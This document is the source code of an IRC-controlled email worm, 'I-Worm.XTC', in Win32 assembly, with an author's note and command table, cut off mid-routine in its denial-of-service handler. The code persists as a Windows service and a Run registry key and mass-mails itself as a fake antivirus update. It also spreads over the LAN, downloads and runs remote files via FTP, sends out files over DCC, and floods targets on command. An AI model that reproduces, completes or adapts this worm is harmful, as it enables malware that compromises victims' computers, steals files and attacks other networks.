ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ spreadoff ³ stops the mail spreading ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ spreadto ³ sends itself to specified e-mail address ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ lanspread ³ starts with LAN spreading ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ reconnect ³ terminates itself and executes itself again ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ exitprocess ³ terminates itself ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ reboot ³ reboots computer ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ leave ³ cleans up and delete itself from infected computer ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ update ³ downloads file from specified URL and executes it ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ ircsend ³ runs the specified IRC command ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ mark ³ payload, sets some default pagez of MSIE to ³
³ ³ http://www.therainforestsite.com ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ whois ³ replies if infected computer has the same IP as the specified ³
³ ³ one ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ machine ³ retrieves the name of infected computer ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ info ³ retrives some informationz about itself ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ sendme ³ sends specified file to user via DCC ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ 1, DCC SEND ³ accepts specified file via DCC ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ pwd ³ retrieves current directory ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ cd ³ changes current directory ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ md ³ creates new directory ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ rd ³ removes specified directory ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ dir ³ lists all filenamez which match specified mask ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ del ³ removes specified file ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ move ³ moves/renames specified file ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ copy ³ copies specified file ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ exec ³ executes specified program ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Everytime after IRC connection is established the worm sends to public window
its version number. Other wormz will check it and if their version number is
bigger, they will send UPDATE command with the URL from which they were lastly
updated.

I think longer description is not needed, the code speaks by itself. If you
have any questionz, feel free to mail me... Have a fun!

ÚÄÄÄÄÄÄÄÄ¿
³ Greetz ³
ÀÄÄÄÄÄÄÄÄÙ

Ratter: I'm not angry, I just hate if someone stealz my code/ideaz


without asking. That's all... Try to realise your own ideaz.
Kaspersky: I really wonder if you will spend more than 1 minute with
writting description... and I still miss the description for
Win32.Vulcano!

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Benny / 29A ÀÄÄÄÄÄÄÄÄÄÄÄ¿
@ benny_29a@privacyx.com ³
@ http://benny29a.cjb.net ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
#

.586p
.model flat,stdcall ;standard beginning
;of win32asm code
include win32api.inc
include useful.inc

extrn ExitProcess:PROC ;kernel32.dll APIz


extrn ExitThread:PROC
extrn OpenMutexA:PROC
extrn GetModuleHandleA:PROC
extrn GetProcAddress:PROC
extrn GetCommandLineA:PROC
extrn DeleteFileA:PROC
extrn GetWindowsDirectoryA:PROC
extrn GetModuleFileNameA:PROC
extrn CopyFileA:PROC
extrn WinExec:PROC
extrn Sleep:PROC
extrn GetTickCount:PROC
extrn GetCurrentDirectoryA:PROC
extrn SetCurrentDirectoryA:PROC
extrn CreateDirectoryA:PROC
extrn RemoveDirectoryA:PROC
extrn FindFirstFileA:PROC
extrn FindNextFileA:PROC
extrn FindClose:PROC
extrn SetFileAttributesA:PROC
extrn DeleteFileA:PROC
extrn MoveFileA:PROC
extrn CreateFileA:PROC
extrn CloseHandle:PROC
extrn WriteFile:PROC
extrn GetFileSize:PROC
extrn ReadFile:PROC
extrn ExitWindowsEx:PROC
extrn CreateThread:PROC
extrn CreateProcessA:PROC
extrn WritePrivateProfileStringA:PROC
extrn SetErrorMode:PROC
extrn GetLastError:PROC
extrn CreateFileMappingA:PROC
extrn MapViewOfFile:PROC
extrn UnmapViewOfFile:PROC

extrn SHGetSpecialFolderPathA:PROC ;SHELL32.dll APIz


extrn SHSetValueA:PROC
extrn SHGetValueA:PROC
extrn SHDeleteValueA:PROC

extrn InternetOpenA:PROC ;WININET.dll APIz


extrn InternetConnectA:PROC
extrn InternetCloseHandle:PROC
extrn FtpGetFileA:PROC
extrn FtpSetCurrentDirectoryA:PROC
extrn InternetCheckConnectionA:PROC

extrn WSAStartup:PROC ;WSOCK32.dll APIz


extrn WSACleanup:PROC
extrn socket:PROC
extrn gethostbyname:PROC
extrn connect:PROC
extrn send:PROC
extrn recv:PROC
extrn closesocket:PROC
extrn gethostname:PROC
extrn htons:PROC
extrn htonl:PROC
extrn bind:PROC
extrn listen:PROC
extrn accept:PROC

extrn OpenServiceA:PROC ;ADVAPI32.dll APIz


extrn DeleteService:PROC
extrn OpenSCManagerA:PROC
extrn CreateServiceA:PROC
extrn CloseServiceHandle:PROC
extrn StartServiceCtrlDispatcherA:PROC
extrn RegisterServiceCtrlHandlerA:PROC
extrn SetServiceStatus:PROC

extrn MAPILogon:PROC ;MAPI32.dll APIz


extrn MAPILogoff:PROC
extrn MAPISendMail:PROC

STARTUPINFO STRUCT ;used by CreateProcessA API


cb DWORD ?
lpReserved DWORD ?
lpDesktop DWORD ?
lpTitle DWORD ?
dwX DWORD ?
dwY DWORD ?
dwXSize DWORD ?
dwYSize DWORD ?
dwXCountChars DWORD ?
dwYCountChars DWORD ?
dwFillAttribute DWORD ?
dwFlags DWORD ?
wShowWindow WORD ?
cbReserved2 WORD ?
lpReserved2 DWORD ?
hStdInput DWORD ?
hStdOutput DWORD ?
hStdError DWORD ?
STARTUPINFO ENDS

PROCESS_INFORMATION STRUCT
hProcess DWORD ?
hThread DWORD ?
dwProcessId DWORD ?
dwThreadId DWORD ?
PROCESS_INFORMATION ENDS

WSADATA struc ;WSADATA structure


mVersion dw ? ;used by WSOCK32.dll APIz
mHighVersion dw ?
szDescription db 257 dup(?)
szSystemStatus db 129 dup(?)
iMaxSockets dw ?
iMaxUpdDg dw ?
lpVendorInfo dd ?
WSADATA ends

sock struc ;socket structure


sin_family dw AF_INET ;used by WSOCK32.dll APIz
sin_port dw 0b1ah
sin_addr dd ?
sin_zero db 8 dup (?)
sock ends
sockSize = SIZE sock

VERSION1_1 equ 0101h ;equates used by WSOCK32.dll APIz


PCL_NONE equ 0
SOCK_STREAM equ 1
AF_INET equ 2
HOSTENT_IP equ 10h

PASSWORD equ 0DDD1275Bh ;CRC32 of the password

@endspc macro ;macro - skip the space in the


local @l ;string
@l: lodsb
cmp al,20h
jne @l
endm

@endbr macro ;macro - skip the CR character


local @l ;in the string
@l: lodsb
cmp al,0Dh
jne @l
endm

.data
msg_PASS db 'password ' ;commands that are intercepted
msg_NOPASS db 'nopassword' ;by worm on IRC
msg_DOS db 'dos '
msg_SPREADON db 'spreadon'
msg_SPREADOFF db 'spreadoff'
msg_RECONN db 'reconnect'
msg_EXITPROC db 'exitprocess'
msg_GETCDIR db 'pwd'
msg_SETCDIR db 'cd '
msg_DIR db 'dir'
msg_MD db 'md '
msg_RD db 'rd '
msg_DEL db 'del '
msg_MOVE db 'move '
msg_INFO db 'info'
msg_MACHINE db 'machine'
msg_DCCRECV db 1,'DCC SEND '
msg_SENDME db 'sendme '
msg_COPY db 'copy '
msg_LEAVE db 'leave'
msg_MARK db 'mark'
msg_STOPDOS db 'stopdos'
msg_IRCSEND db 'ircsend '
msg_EXEC db 'exec '
msg_WHOIS db 'whois'
msg_LAN db 'lanspread'
msg_REBOOT db 'reboot'
msg_SPREADTO db 'spreadto '

irc_server db 'eu.undernet.org',0 ;name of IRC server


irc_user db 'USER w w w w',0dh,0ah
irc_nick db 'NICK ' ;login commandz
nickname db 11 dup (?) ;nickname
irc_join db 'JOIN #xtcdan heil',0dh,0ah
irc_mode1 db 'MODE #xtcdan +k heil',0dh,0ah
irc_mode2 db 'MODE #xtcdan +s',0dh,0ah
;other login commandz
info_table db '** I-Worm.XTC, written by Benny/29A. Variant '
version_number db '0001 ' ;signature+version number
info_size = $-info_table

db 11h
dec_buff db 10 dup (?) ;dec->ascii conversion buffer

command_table_stringz: dd offset msg_NOPASS ;table of pointerz to


dd offset msg_DOS ;commandz
dd offset msg_SPREADON
dd offset msg_SPREADOFF
dd offset msg_RECONN
dd offset msg_EXITPROC
dd offset msg_GETCDIR
dd offset msg_SETCDIR
dd offset msg_DIR
dd offset msg_MD
dd offset msg_RD
dd offset msg_DEL
dd offset msg_MOVE
dd offset msg_INFO
dd offset msg_MACHINE
dd offset msg_DCCRECV
dd offset msg_SENDME
dd offset msg_COPY
dd offset msg_LEAVE
dd offset msg_MARK
dd offset msg_STOPDOS
dd offset msg_IRCSEND
dd offset msg_EXEC
dd offset msg_WHOIS
dd offset msg_LAN
dd offset msg_REBOOT
dd offset msg_SPREADTO
num_of_commands = ($-command_table_stringz)/4 ;number of commandz

command_table_size: db 10 ;table of size of


db 4 ;each command
db 8
db 9
db 9
db 11
db 3
db 3
db 3
db 3
db 3
db 4
db 5
db 4
db 7
db 10
db 7
db 5
db 5
db 4
db 7
db 8
db 5
db 5
db 9
db 6
db 9

command_table_jmp: dd offset irc_NOPASS ;table of pointerz to


dd offset irc_DOS ;command handlerz
dd offset irc_SPREADON
dd offset irc_SPREADOFF
dd offset irc_RECONN
dd offset end_worm
dd offset irc_GETCDIR
dd offset irc_SETCDIR
dd offset irc_DIR
dd offset irc_MD
dd offset irc_RD
dd offset irc_DEL
dd offset irc_MOVE
dd offset irc_INFO
dd offset irc_MACHINE
dd offset irc_DCCRECV
dd offset irc_SENDME
dd offset irc_COPY
dd offset irc_LEAVE
dd offset irc_MARK
dd offset irc_STOPDOS
dd offset irc_IRCSEND
dd offset irc_EXEC
dd offset irc_WHOIS
dd offset irc_LAN
dd offset irc_REBOOT
dd offset irc_SPREADTO
win_table db 'C:\Windows',0 ;standard paths to
db 'C:\Winnt',0 ;windows directory
db 'C:\Win95',0
db 'C:\Win98',0
db 'C:\Win2000',0
db 'C:\Win2k',0
db 'C:\WinME',0
winNumber = 7 ;number of paths

lpMessage dd ? ;MAPI32 structure


dd offset subject
dd offset message
dd ?
dd offset date
dd ?
dd 2
dd offset mailFrom
dd 1
dd offset mailTo
dd 1
dd offset attachment

subject db 'AVX update notification',0 ;mail subject


message db 'Hi,',0dh,0ah,0dh,0ah ;mail message
db 'We would like to notify you about the newest software '
db 'designed by SOFTWIN company. This program constantly '
db 'monitors the net for the newest viral treats and anti-virus '
db 'databases. In the case some new virus is in-the-wild, it '
db 'will immediatelly ask you to download the newest version of '
db 'AntiVirus eXpert 2000 (AVX). It''s small, it''s efficent, it''s '
db 'secure and powerful. No special licence is needed, it''s freeware. '
db 'We hope you enjoy AntiVirus eXpert and share it with your friends.'
db 0dh,0ah,0dh,0ah,0dh,0ah,'Best regards,',0dh,0ah,0dh,0ah
db ' AVX developement team.',0
date db '2001/01/01',0 ;mail date
senderAddr db 'support@avx.com',0 ;mail sender

mailFrom dd ? ;mail sender structure


dd ?
dd offset mailFrom
dd offset senderAddr
dd ?
dd ?

mailTo dd ? ;mail recipient


dd 1 ;structure
dd offset mailTo
dd offset mail_address
dd ?
dd ?

attachment dd ? ;attachment structure


dd ?
dd ?
dd offset wormname2
dd ?
dd ?

regWorm db '%ComSpec% /C del ' ;delete command


wormname2 db MAX_PATH dup (?) ;worm filename

IRC_sock sock <> ;IRC socket structure


DCC_sock sock <> ;DCC socket structure
DOS_sock sock <> ;DOS socket structure

hKey dd ? ;registry key

wormname db MAX_PATH dup (?) ;primary worm filename


org wormname
irc_tmp db MAX_PATH dup (?) ;irc buffer
temppath db MAX_PATH dup (?) ;temporary buffer
mail_address db 128 dup (?) ;buffer for mail address

wsadata WSADATA <> ;WSADATA structure


pInfo PROCESS_INFORMATION <> ;PROCESS_INFORMATION...
sInfo STARTUPINFO <> ;STARTUPINFO...

irc_buffer db 1000h dup (?) ;irc buffer

.code ;worm code starts here


Start: pushad
@SEH_SetupFrame <jmp end_worm> ;setup SEH frame

push offset up_xtc+5


push 0
push 1
call OpenMutexA ;check if mutex is
test eax,eax ;created, if not,
je end_worm ;we are prob. debugged

push 5000
call Sleep ;wait 5 minutez

push 1
call SetErrorMode ;set this win-shit

push MAX_PATH
push offset wormname2
push 0
call GetModuleFileNameA ;get worm filename
mov [wormname2_size],eax ;save the size

call SVCRegister ;register as service


e_svc: ;process
call HideWorm ;create worm-service
call GetCommandLineA ;get ptr to command line
mov edi,eax ;to EDI
xchg eax,esi
l_gca: lodsb
test al,al
je p_copy
cmp al,20h
jne l_gca ;skip from filename

l_par: lodsb ;skip from parameterz


cmp al,20h
je l_par
test al,al
je p_copy ;no parameterz

dec esi ;yep, parameter present,


push esi ;worm already copied,
call DeleteFileA ;delete the first copy

@cw: call IRCConnect ;connect to IRC


call GetTickCount ;get random number
xor edx,edx
mov ecx,10000
div ecx ;normalize to 0..9999

push edx
call Sleep ;wait random time long

p_copy: call CopyWorm ;copy the worm to another


;file in system directory
end_worm:
@SEH_RemoveFrame ;remove SEH frame
popad
push 0
call ExitProcess ;and quit

;this procedure can copy the worm file to system directory of Windows and
;execute it
CopyWorm Proc
mov esi,edi
mov edi,offset wormname ;copy the filename to
@copysz ;buffer

mov edi,offset temppath


push MAX_PATH
push edi
call GetWindowsDirectoryA ;get windows directory
push edi
add edi,eax

mov eax,'res\'
stosd
mov eax,'eciv'
stosd
mov eax,'xe.s'
stosd
push 'e'
pop eax
stosw ;create windir\services.exe
pop edi ;filename

mov esi,offset wormname2


push 0
push edi
push esi
call CopyFileA ;copy worm to sysdir

push edi
push esi
mov esi,edi
@endsz
dec esi
mov edi,esi
pop esi
mov al,20h
stosb
@copysz
pop edi ;create the command line

push 0
push edi
call WinExec ;and execute worm
ret ;from system directory
CopyWorm EndP

;this procedure can execute worm as service process


HideWorm Proc
push 000F0000h or 2
push 0
push 0
call OpenSCManagerA ;get handle to SCM
test eax,eax
je e_scm0
xchg eax,esi ;to ESI

push 10000h
push offset up_xtc+5
push esi
call OpenServiceA
xchg eax,ecx
jecxz e_scm2

push ecx
push ecx
call DeleteService ;delete service
call CloseServiceHandle

e_scm2: xor eax,eax


push eax
push eax
push eax
push eax
push eax
push offset wormname2
push eax
push 2
push 10h
push 000F0000h or 1 or 2 or 4 or 8 or 10h or 20h or 40h or 80h or 100h
push offset up_xtc+5
push dword ptr [esp]
push esi
call CreateServiceA ;and create it again
test eax,eax
je e_scm1

push eax
call CloseServiceHandle
e_scm1: push esi
call CloseServiceHandle ;close all opened handlez
ret

e_scm0: call GetLastError ;get error code


cmp eax,78h ;if not compatibility
jne end_hide ;error then quit

push 12345678h
wormname2_size = dword ptr $-4
push offset wormname2
push 1
push offset up_xtc+5
run_key = $+5
@pushsz 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
push 80000002h ;modify registry so
call SHSetValueA ;worm will be executed
;every start of windows
@pushsz 'Kernel32.dll'
call GetModuleHandleA ;get base address of K32
xchg eax,ecx
jecxz end_hide
@pushsz 'RegisterServiceProcess'
push ecx
call GetProcAddress ;get ptr to API
xchg eax,ecx
jecxz end_hide
push 1
push 0
call ecx ;register as service
end_hide: ;process under Win9x
ret
HideWorm EndP

;this procedure connects to IRC


IRCConnect Proc
push offset wsadata
push VERSION1_1
call WSAStartup ;initialize WSOCK32 2.0
test eax,eax
jne end_hide

push offset irc_server


call gethostbyname ;get IP of IRC server
test eax,eax
je end_wsa

mov eax,[eax+HOSTENT_IP]
mov eax,[eax]
mov [IRC_sock.sin_addr],eax

push PCL_NONE
push SOCK_STREAM
push AF_INET
call socket ;create socket
inc eax
je end_wsa
dec eax
mov [hSocket],eax ;save its handle

push sockSize
push offset IRC_sock
push [hSocket]
call connect ;connect to IRC server
inc eax
je end_irc_socket

new_nick:
call GenerateNickName ;generate random nickaname
sub edi,offset nickname
add edi,5
mov ecx,edi
mov esi,offset irc_nick
call irc_send ;send the nick
test ecx,ecx
je end_irc_socket

push 14
pop ecx
mov esi,offset irc_user
call irc_send ;send user infos
test ecx,ecx
je end_irc_socket

mov ecx,1000
call irc_recv ;get server reply
test eax,eax
je end_irc_socket
inc eax
je end_irc_socket

mov ecx,esi
cmp [esi],'GNIP'
jne s_pong
mov byte ptr [esi+1],'O'
push esi
l_ping: lodsb
cmp al,0Ah
jne l_ping
sub ecx,esi
neg ecx
pop esi
call irc_send ;send PONG! if PING?

s_pong: mov ecx,100


call irc_recv ;get server reply
test eax,eax
je end_irc_socket
inc eax
je end_irc_socket

push 19
pop ecx
mov esi,offset irc_join
call irc_send ;send the JOIN command
jecxz end_irc_socket

push 22
pop ecx
mov esi,offset irc_mode1
call irc_send ;set channel modez
jecxz end_irc_socket

push 17
pop ecx
mov esi,offset irc_mode2
call irc_send ;--- "" ---
jecxz end_irc_socket

mov ecx,300h
call irc_recv ;get server reply
test eax,eax
je end_irc_socket
inc eax
je end_irc_socket
and [password_passed],0 ;no superuser logged yet

call @lupd
db 'PRIVMSG #xtcdan :!ver0001',0dh,0ah
@lupd: pop esi
push 27
pop ecx
call irc_send ;send worms version code
inc eax
je end_irc_socket

call irc_SPREADON ;spread via e-mail


call irc_manage ;the bot handling procedure

end_irc_socket:
push 12345678h
hSocket = dword ptr $-4
call closesocket ;close connection
end_wsa:call WSACleanup ;clean up
end_irc_man:
irc_RECONN:
ret
IRCConnect EndP

irc_manage_pop:
pop esi

;this procedure can analyse IRC commandz and make the proper actionz
irc_manage Proc
call GetTickCount ;get the time
xchg eax,ebp
call irc_recv_100h ;get IRC reply
push eax
call GetTickCount ;get the time
xchg eax,ecx
pop eax
test eax,eax
je end_irc_man
inc eax
je end_irc_socket

sub ecx,ebp
cmp ecx,5*60000
jb no_idle ;quit if nothing
ret ;happened in 5 minutez
no_idle:cmp [esi],'GNIP'
je do_pong ;make the PONG! reply
inc esi ;if needed

push esi
@endspc
cmp [esi],'VIRP'
jne irc_manage_pop
cmp [esi+4],2047534Dh ;quit if its not PRIVMSG
jne irc_manage_pop ;command

push 9
pop ecx
mov edi,offset irc_tmp
mov edx,edi
movsd
movsd ;copy the first part
pop esi ;or the command

o_exl: inc ecx


lodsb
stosb
cmp al,'!'
jne o_exl
dec edi
mov al,20h
stosb
o_cln: lodsb
cmp al,':'
jne o_cln
stosb ;--- "" ---

cmp [esi],'adpu'
jne @m_nx0
cmp word ptr [esi+4],'et'
jne @m_nx0
cmp byte ptr [esi+6],20h
je irc_UPDATE ;update worm if the
;command has been sent
@m_nx0: cmp [esi],'rev!' ;version quering?
jne @m_next
cmp [esi+4],'1000'
jb @m_n
jmp @m_next ;continue

@m_n: mov eax,'adpu' ;construct update command


stosd
mov ax,'et'
stosw
mov al,20h
stosb
add ecx,7
push edx
push ecx
push edi

call @m_h
dd 100
@m_h: push edi
call @m_o
dd 1
@m_o: @pushsz 'XTCUpdate'
push offset up_path
push 80000002h
call SHGetValueA ;get the FTP address
pop esi ;from registry
pop ecx
@l_up2: lodsb
inc ecx
test al,al
jne @l_up2
dec esi
mov edi,esi
mov ax,0A0Dh
stosw
inc ecx
inc ecx
pop esi
call irc_send ;send it!
jmp irc_manage

@m_next:mov eax,12345678h ;check if it was


password_passed = dword ptr $-4 ;already entered the
test eax,eax ;password
je irc_no_pswd
push num_of_commands ;password entered,
pop eax ;analyse the command
command_parse: ;and execute the proper
pushad ;procedure
mov edi,[eax*4+offset command_table_stringz-4]
movzx ecx,byte ptr [eax+command_table_size-1]
mov edx,[eax*4+offset command_table_jmp-4]
mov [esp.Pushad_ebx],edx
rep cmpsb
popad
jne e_cp
jmp ebx ;--- "" ---
e_cp: dec eax
test eax,eax
jne command_parse
jmp msg_err ;bad command

do_pong:mov byte ptr [esi+1],'O' ;send the PONG! reply


xchg eax,ecx ;if needed
call irc_send ;--- "" ---
jmp irc_manage

irc_no_pswd: ;check the password


pushad
mov edi,offset msg_PASS
push 9
pop ecx
rep cmpsb ;check the PASSWORD
je check_password ;command
popad
msg_err:mov ax,0D2Eh ;send the "failed" reply
stosw
mov al,0Ah
stosb
add ecx,3
end_pwd:mov esi,edx
call irc_send ;--- "" ---
jmp irc_manage
check_password:
mov edi,5
call CRC32 ;calculate CRC32 from
add eax,-PASSWORD ;the given password
popad
jne msg_err ;quit if wrong password
mov [password_passed],edi
msg_ok: mov eax,0A0D2A2Ah
stosd
add ecx,4 ;password ok, send
jmp end_pwd ;the reply

;updates worm from the internet


irc_UPDATE:
pushad
@endspc ;get over the command

mov edi,offset temppath


push edi
xor ecx,ecx
push esi
c_upd: lodsb
stosb
inc ecx
cmp al,0Dh
jne c_upd
mov byte ptr [edi-1],0
pop esi
pop edi
push ecx
push edi
push 1
up_xtc: @pushsz 'XTCUpdate'
up_path = $+5
@pushsz 'Software\Microsoft\Windows\CurrentVersion'
push 80000002h ;write the FTP address
call SHSetValueA ;to registry

push esi
@endspc
mov byte ptr [esi-1],0
push esi
@endspc
mov byte ptr [esi-1],0
push esi
@endbr
mov byte ptr [esi-1],0

xor eax,eax
push eax
push eax
push eax
push eax
@pushsz 'XTC'
call InternetOpenA ;create the inet handle
test eax,eax
je err_up0
xchg eax,ebx

xor eax,eax
push eax
push eax
push eax
call InternetCheckConnectionA ;check if we are already
xchg eax,ecx ;connected to inet
jecxz err_up1 ;quit if not

xor eax,eax
push eax
push eax
push 1
push eax
push eax
push 21
push dword ptr [esp+8+6*4]
push ebx
call InternetConnectA ;connect to FTP server
test eax,eax
je err_up1
xchg eax,ebp

push dword ptr [esp+4]


push ebp
call FtpSetCurrentDirectoryA ;change the directory
xchg eax,ecx
jecxz err_up2

push 0
push 2
push FILE_ATTRIBUTE_NORMAL
push 0
@pushsz 'xtcspawn.exe'
pop edi
push edi
push dword ptr [esp+5*4]
push ebp
call FtpGetFileA ;download the worm
xchg eax,ecx
jecxz err_up2

push 0
push edi
call WinExec ;execute it
jmp end_worm

err_up2:push ebp
call InternetCloseHandle
err_up1:push ebx
call InternetCloseHandle ;close all inet handlez
err_up0:pop eax
pop eax
pop eax
popad
jmp irc_manage

;logoff superuser, forget written password


irc_NOPASS:
and [password_passed],0
jmp msg_ok

;stops DOS attack and enables new one


irc_STOPDOS:
and [dos_sem],0
jmp msg_ok

;sends IRC command


irc_IRCSEND:
mov edi,edx
pushad
@endspc
xor ecx,ecx
l_ircs: inc ecx
lodsb
stosb
cmp al,0Ah
jne l_ircs
mov [esp.Pushad_ecx],ecx
popad
jmp end_pwd

;DOS attack
irc_DOS:pushad
@SEH_SetupFrame <jmp err_dos>
@endspc ;get over the command
call Ascii2Num
push eax
call htons
mov [DOS_sock.sin_port],ax ;save the port number
inc esi
push esi ;ESI = server name (*)
@endbr
